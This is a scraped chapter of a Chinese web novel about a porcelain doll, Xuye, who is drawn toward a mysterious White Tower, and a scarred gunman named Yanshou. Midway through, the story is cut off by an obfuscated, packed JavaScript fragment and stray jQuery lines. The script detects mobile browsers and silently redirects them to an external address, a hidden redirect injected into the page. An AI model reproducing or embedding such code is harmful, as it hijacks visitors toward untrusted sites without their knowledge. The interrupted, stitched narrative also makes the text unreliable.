文趣网 > 其他小说 > 瓷偶易碎小心行事 > 5. 第五章 命
    砚狩没有第一时间回应,而是将视线从白塔转到了叙夜身上。

    整个人稍微侧身,光微微打在了侧脸,显得那一抹长疤更加醒目。

    伸出手,拍了拍自己的手臂。

    反问道:“为什么你是瓷偶?”

    问完,他双手抱拳,半靠在窗边,十分平静。

    叙夜见砚狩没有回答自己的问题,只能向上掂了掂药,抬头直视面前的人。

    砚狩身上的血腥气很重,但他没有丝毫恐惧。

    “为什么?我想,你比我还清楚。”

    叙夜一笑,指向外面他之前完全看不见的白塔。

    “那里有光,我猜……”

    他边说,边往砚狩身边走。

    砚狩下意识拉开了距离,从怀中拿出了星尘碎片。

    原本黯淡无光的碎片,如今盈满了星光。

    “是白塔。”

    叙夜的语气无比笃定。

    站在窗前,梦中的白塔赫然矗立在前方。

    之前那块被雾覆盖的空地终于显出了真身。

    “你能看见吗?”

    “我看见了。”

    叙夜又重复了一遍他们的问题,再补上了回答。

    再看向砚狩时,就见他手上正握着一块很熟悉的瓷片。

    无疑是自己身上掉下来的一块。

    见叙夜转过身,正与自己想收瓷片撞了个正着。

    砚狩也不再遮挡,大大方方将瓷片摆在了两人中间。

    “不用震惊,这就是你身下掉下的瓷片。”

    砚狩用手指点着它,眼睛深深地看着叙夜。

    “更准确来说,这是星尘碎片。”

    叙夜看着面前放大的瓷片,与之前直接脱落的不同。

    这个里面蕴含着一股力量。

    诊所中,来来往往的人视若无睹,似乎这空间只有他们两人。

    叙夜抬手,想从砚狩手中拿回它,却落空了。

    “我可以帮助你,找回你自己的身份。”

    见叙夜面色冷静,砚狩又抛出了另一个诱饵。

    “我猜,你不单想修补好自己的身体,更想知道,你究竟是谁。”

    没等他说完,叙夜一把拉住他的衣服,伸手就想夺碎片。

    “别急。”

    “你说。”

    被砚狩挡住后,叙夜只能不甘地让他继续说下去。

    但实际上,叙夜突然发现,自己的温度,有些不对劲。

    因为是瓷偶,对热要更敏感些。

    而现在的温度,几乎就像是把他放在火里烤。

    他按耐住心里的燥,两只手交叉,打算听听砚狩的所谓好处。

    “首先,我们……”

    砚狩打算以理取胜,要进白塔,必须要瓷偶自愿。

    正当他再继续说时,却觉得周边温度攀升得极其异常。

    他立刻拉住叙夜的手腕。

    却马上被那高温烫松了手。

    “说啊?”

    叙夜的视野已经虚化,从一开始只能看到他嘴在动,却听不见。

    正不满地疑问,却眼前一黑,最后看见的是砚狩伸出的双手。

    头晕目眩,完全晕倒了过去。

    待叙夜再次醒来,入眼看见的是诊所全白的天花板。

    身体酸软,他艰难地坐了起来。

    病房里空无一人。

    叙夜靠着枕头,放空自己。

    眼中却全是那窗外的白塔。

    如果,是白塔一直在呼唤,那他的身份,会不会就在里面?

    “咔哒——”

    细微的开门声,让叙夜立刻往门口看去。

    发现进来的是之前被称为大头的年轻男孩。

    大头轻声轻脚地走进来,没想到,一扭头,就和叙夜对上了视线。

    “你醒了?”

    他走到了床边,焦急地拉住叙夜的手。

    “我不能久待,你记住,千万不要进白塔!”

    说着的时候,他的瞳孔急剧收缩,显然害怕到了极点。

    说完,他不停地注意周围环境,没等叙夜反应过来。

    他似是看到了什么,急匆匆地离开了病房。

    叙夜只感觉头疼,两种截然不同的说法,在他的脑中碰撞。

    进入白塔,能找到真相。

    千万不能进入白塔。

    所有的问题,几乎都指向他究竟要不要进入白塔。

    刚刚大头离开,没有将门完全关好,留了一条缝。

    叙夜的神色骤然一变,身子不住颤抖,想逃,可身体却给不出一点反应。

    “叙夜。”

    砚狩一进门就发现叙夜的状态极其不对,出声叫他,都还是毫无反应。

    又连叫了几声,再拍了下肩膀。

    叙夜失焦的双瞳才渐渐有了神采。

    “我……我好像看到了。”

    叙夜说话磕磕绊绊,却又说不出究竟看到了什么。

    砚狩没有执着追问,而是让他先好好休息。

    “你先考虑下进塔的事。”

    当下而言,既然已经能看到白塔。

    星尘碎片也已经是可使用状态。

    那么,叙夜即使不是完全觉醒,也离觉醒不远。

    砚狩半蹲下来,让自己和坐在床上的叙夜保持同一高度。

    额头轻轻抵上。

    “没有再烧了,睡吧。”

    恍恍惚惚的叙夜眨了眨眼睛,又闭上了,陷入了睡眠。

    白塔的光更盛了。

    叙夜再一次进去了梦境。

    梦境与上次很像,湖面,不远处的白塔。

    可这一次,他没有犹豫,而是目标直指白塔走去。

    他有必须要搞清的真相。

    哪怕是个瓷偶,他也应该有属于自己的过往。

    而不是像现在这样,对以前恍若未闻。

    也正是叙夜对进不进塔坚定的时候,砚狩抚摸着自己的枪。

    “也该让不安分的人,明白自己有多大本事。”

    他起身,离开了房间。

    床上,叙夜的眉头紧皱,双手紧握,却无法苏醒过来。

    窗外茂盛的枝桠向白塔处伸展。

    “砰砰砰。”

    连续的几枪,幽册庭的基地门被强势破开。

    砚狩看着空无一人的幽册庭,挑了挑眉。

    “跑的倒很快。”

    说完,他转身就往门外走去。

    躲在墙边的影鸦颤抖着身体。

    在幽册庭的人,都听过这个杀神的名字。

    砚狩,脸上一道长疤,背着许多武器,常用武器就是一把长枪。

    前几年突然出现在城市当中,杀戮无数,近一年才收敛了些。

    没想到……

    影鸦吞了吞口水,今天早上,他还在跟着叙夜。

    中途收到通知,来本部接受新任务,刚想离开却碰上了砚狩。

    影鸦刚动了下僵硬的身体。

    “被抛弃的乌鸦?”

    立刻感到冰冷的枪管直接抵上了自己的太阳穴。

    影鸦立刻双手作投降。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17697682|208023||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >“我,我什么都不知道,我们见过的。”

    “就是命我跟踪瓷偶,看看有无异动。”

    他努力找着理由来让自己顺理成章地活下去。

    “叙夜?”砚狩侧了下头,没有移开枪管。

    而是伸出了另一只手。

    “任务日志,交出来。”

    影鸦谄媚地将日志交了出来。

    上面所有的记录都是无异常。

    “饶你一命,看在你也帮了他的份上。”

    将任务日志一抛,砚狩挪开枪管,就往门口走去。

    而影鸦毫无刚刚害怕到腿软的样子。

    只是捡起任务日志。

    翻开了其中一页,写着叙夜觉醒进程几个字后,打了个钩。

    “看来,白塔即将开了。”

    幽册庭肯定会派人进去,但现在来说,自己是被抛弃的。

    “影鸦!你,你怎么……”还活着。

    一个幽册庭的人压着枪伤,不可置信地看着影鸦。

    影鸦冷漠地瞥了一眼,一刀,那人再也无法向上汇报了。

    而此时,在梦境中的叙夜,闭着眼,感受到了与上次完全不同的气息。

    “瓷偶的秘密,都在白塔。”

    步履坚决的叙夜听到了脑海中传出了悠远的声音。

    他下意识向与声音对话。

    “白塔,究竟是什么?”

    声音却没有理会他,反而沉寂了下去。

    正当他继续走时,看到前方,突然神情一怔。

    上次,湖面是这样的吗?

    叙夜清楚地记得,上次的湖面非常清透。

    并且不深,刚好到小腿的高度。

    而如今,湖面变得浑浊,下面似乎有什么东西在蠢蠢欲动。

    他与白塔的距离,已经很近。

    轻吸一口气,他快步往白塔那边冲。

    哗哗哗——

    身后湖面剧烈的起伏,有东西追上来了!

    很近,很近,就在身后!

    叙夜整个人高度紧张。

    最后一步,他马上往前翻滚一扑,将那力道稍稍卸掉。

    以防瓷片脱落。

    当他终于到达白塔前的平地,往后一看。

    湖面异常平静,仿佛刚刚那个追赶,只是他的幻觉。

    可当叙夜爬起身,发现右边的脚腕有一处极其明显的红印。

    看起来就是被未知东西抓住留下的。

    他立刻远离了湖面,红印时不时传来一阵又一阵刺痛感。

    叙夜只能深一脚浅一脚走到白塔的正下方。

    “为什么?”

    他看着白塔的大门,他所有的秘密,难道都在哪里?

    白塔的大门,已经十分老旧,门前茂盛的杂草,长满的青苔。

    无一不说明,白塔已经许久没被开启了。

    叙夜不会抱有完全信任,但是城里没有人认识他,他也没有任何熟悉的地方。

    他思考着,渐渐伸出手,想放在门把上。

    “千万不要进白塔。”

    大头的话语又让叙夜的手停在了半空。

    “你挡住他了吗?”

    大头蹲在诊所门口的湖边,问道。

    平静无波的湖陡然升起巨浪,后又平静了下去。

    “还是让他到了白塔前吗……”

    大头捧着脸,语气十分失望。

    “我已经劝过他了,至于是否会进白塔……”

    “都是他的命。”

    说着,大头起身,人影渐渐融入到了雾中。